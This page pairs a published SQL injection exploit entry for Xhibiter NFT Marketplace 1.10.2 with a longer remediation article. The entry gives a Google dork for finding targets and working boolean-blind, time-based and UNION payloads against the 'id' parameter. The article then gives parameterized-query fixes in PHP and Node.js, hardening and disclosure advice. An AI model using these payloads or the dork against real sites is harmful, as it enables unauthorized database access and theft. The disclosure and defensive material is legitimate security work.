Xhibiter NFT Marketplace 1.10.2 - SQL Injection

Exploit Author: Sohel Yousef Analysis Author: www.bubbleslearn.ir Category: WebApps Language: SQL Published Date: 2024-07-01
# Exploit Title: xhibiter nft marketplace SQLI
# Google Dork: intitle:"View - Browse, create, buy, sell, and auction NFTs"
# Date: 29/06/204
# Exploit Author: Sohel yousef - https://www.linkedin.com/in/sohel-yousef-50a905189/
# Vendor Homepage: https://elements.envato.com/xhibiter-nft-marketplace-html-template-AQN45FA
# Version: 1.10.2
# Tested on: linux 
# CVE : [if applicable]

on this dir 
https://localhost/collections?id=2
xhibiter nft marketplace suffers from SQLI 

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=2' AND 4182=4182 AND 'rNfD'='rNfD

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=2' AND (SELECT 1492 FROM (SELECT(SLEEP(5)))HsLV) AND 'KEOa'='KEOa

    Type: UNION query
    Title: MySQL UNION query (NULL) - 36 columns
    Payload: id=2' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162626271,0x655465754c50524d684f764944434458624e4e596c614b6d4a56656f495669466d4b704362666b58,0x71716a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---


Xhibiter NFT Marketplace 1.10.2 — SQL Injection (High-Level Analysis, Impact, and Remediation)

This article explains a reported SQL injection (SQLi) weakness affecting the Xhibiter NFT Marketplace HTML template (version 1.10.2). It covers what the vulnerability means in practice, safe testing guidance, developer-level fixes, and operational mitigations. The goal is to help owners, developers, and security teams understand impact and remediate the issue without sharing exploit instructions.

Vulnerability overview

SQL injection is a class of vulnerability where untrusted input is used directly in a database query, allowing an attacker to interfere with SQL statements executed by the application. In this case, the vulnerability was reported in an endpoint that accepts an id parameter for viewing collections. Without proper handling, that parameter can be manipulated to alter the query logic.

  • Vulnerability type: SQL Injection (CWE-89)
  • Observed behaviors: blind injection characteristics (boolean and time-based patterns) and UNION-style data-exfiltration techniques were reported during testing.
  • Impact: Depending on database privileges and schema exposure, a successful SQLi can lead to data disclosure, authentication bypass, unauthorized modifications, and full backend compromise.

Affected components and risk summary

Vendor / Product Version Affected input Risk CVE
Xhibiter NFT Marketplace (HTML template) 1.10.2 GET parameter used to load collections (id) High — data exposure and unauthorized DB access Not assigned / vendor-specific

Technical analysis (high level)

When an application concatenates or interpolates user-supplied input into SQL statements without proper escaping or parameterization, an attacker can supply specially crafted input that changes query semantics. Testing indicated the application responded in ways consistent with multiple SQLi techniques (conditional responses, database delays, and union-style responses). These are symptomatic of direct inclusion of parameters into queries rather than use of prepared statements or strict validation.

Safe detection and testing recommendations

Only perform security testing on systems you own or on which you have explicit permission. Unauthorized testing is illegal and unethical. Use a controlled test environment that mirrors production and the following safe practices:

  • Create a copy of the database and deploy the application to an isolated lab or staging environment before scanning.
  • Use authenticated scanning where possible to exercise the same code paths as users.
  • Prefer non-destructive testing techniques first (e.g., static analysis, parameter-type checks). If dynamic techniques are required, throttle scan speed and avoid destructive payloads.
  • Use reputable scanners and manual code review together. Dynamic tools can flag evidence but manual review confirms root cause and remediation strategy.

Developer fixes — secure coding patterns

The most reliable mitigation is to stop building SQL queries with raw user input. Use parameterized queries / prepared statements or a secure ORM. Complement parameterization with strict input validation (whitelisting) and least-privilege database accounts.

Example: PHP (PDO) — parameterized query for an integer id

<?php
// Example: secure retrieval of a collection by id using PDO
$dsn = 'mysql:host=localhost;dbname=nft_db;charset=utf8mb4';
$pdo = new PDO($dsn, 'app_user', 'strong_password', [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);

// Validate input first: ensure only numeric id is accepted
if (!isset($_GET['id']) || !ctype_digit($_GET['id'])) {
    http_response_code(400);
    echo 'Invalid collection id';
    exit;
}

$collectionId = (int)$_GET['id'];

// Use a prepared statement with a bound parameter
$sql = 'SELECT id, name, description FROM collections WHERE id = :id LIMIT 1';
$stmt = $pdo->prepare($sql);
$stmt->bindValue(':id', $collectionId, PDO::PARAM_INT);
$stmt->execute();
$collection = $stmt->fetch(PDO::FETCH_ASSOC);

if ($collection) {
    // Render or return safe output
    echo htmlspecialchars($collection['name'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
} else {
    http_response_code(404);
    echo 'Collection not found';
}
?>

Explanation: This code validates that the incoming id is numeric, casts it to an int, and uses PDO prepared statements to avoid interpolating the value into SQL. Binding parameters prevents SQL injection because the database treats the parameter as data, not SQL code. Output is escaped before rendering.

Example: Node.js (mysql2) — parameterized query

const mysql = require('mysql2/promise');

async function getCollection(req, res) {
  const id = req.query.id;
  if (!/^\d+$/.test(id)) {
    res.status(400).send('Invalid id');
    return;
  }

  const pool = mysql.createPool({
    host: 'localhost',
    user: 'app_user',
    password: 'strong_password',
    database: 'nft_db',
  });

  const [rows] = await pool.execute(
    'SELECT id, name, description FROM collections WHERE id = ? LIMIT 1',
    [parseInt(id, 10)]
  );

  if (rows.length) {
    res.json(rows[0]);
  } else {
    res.status(404).send('Not found');
  }
}

Explanation: This Node.js example validates the id with a regexp, converts it to an integer, and uses a parameter placeholder (?) with mysql2's execute method. The parameter array ensures that the driver sends the id as data and not as part of the SQL statement.

Input validation and defense-in-depth

  • Prefer strict whitelisting: for numeric identifiers, only accept digits and cast to integer server-side.
  • Normalize and canonicalize inputs before validation.
  • Reject unexpected parameters and block overly long inputs.
  • Enforce an application-layer allowlist for fields that can be queried or sorted by users.

Operational mitigations and hardening

  • Use a database account with the minimum required privileges — avoid using a database superuser for the application connection.
  • Hide detailed database errors from end users; log detailed errors to an internal system.
  • Deploy a Web Application Firewall (WAF) as an additional detection layer to block common injection patterns and unusual request behavior.
  • Apply rate-limiting and anomaly detection for suspicious activity (repeated parameter fuzzing, slow-response triggers).
  • Keep third-party components and templates updated; apply vendor-provided security patches promptly.

Logging, monitoring, and incident response

Ensure SQL errors and unusual query patterns are logged centrally. Monitor for indicators such as spikes in 500 errors, unusual long-running queries, or repeated requests with varied parameter values. If you detect exploitation attempts, isolate affected systems, preserve logs, and follow your incident response plan.

Responsible disclosure and vendor coordination

  • If you discovered a vulnerability, report it to the vendor (or marketplace where the product is sold) using responsible disclosure channels and allow time for a patch before public disclosure.
  • Provide reproduction steps on an isolated test environment, not against production systems or third-party servers.
  • Coordinate public advisories with the vendor so customers can apply fixes or mitigations.

Key takeaways

  • SQL injection remains a serious risk when input is included directly in SQL statements. Parameterized queries and strict input validation are the primary defenses.
  • Patch or update affected deployments and adopt secure coding patterns across the codebase.
  • Use layered defenses — least privilege, WAF, logging, and monitoring — to reduce the blast radius if issues arise.
  • Conduct authorized testing in isolated environments and follow responsible disclosure practices when reporting vulnerabilities.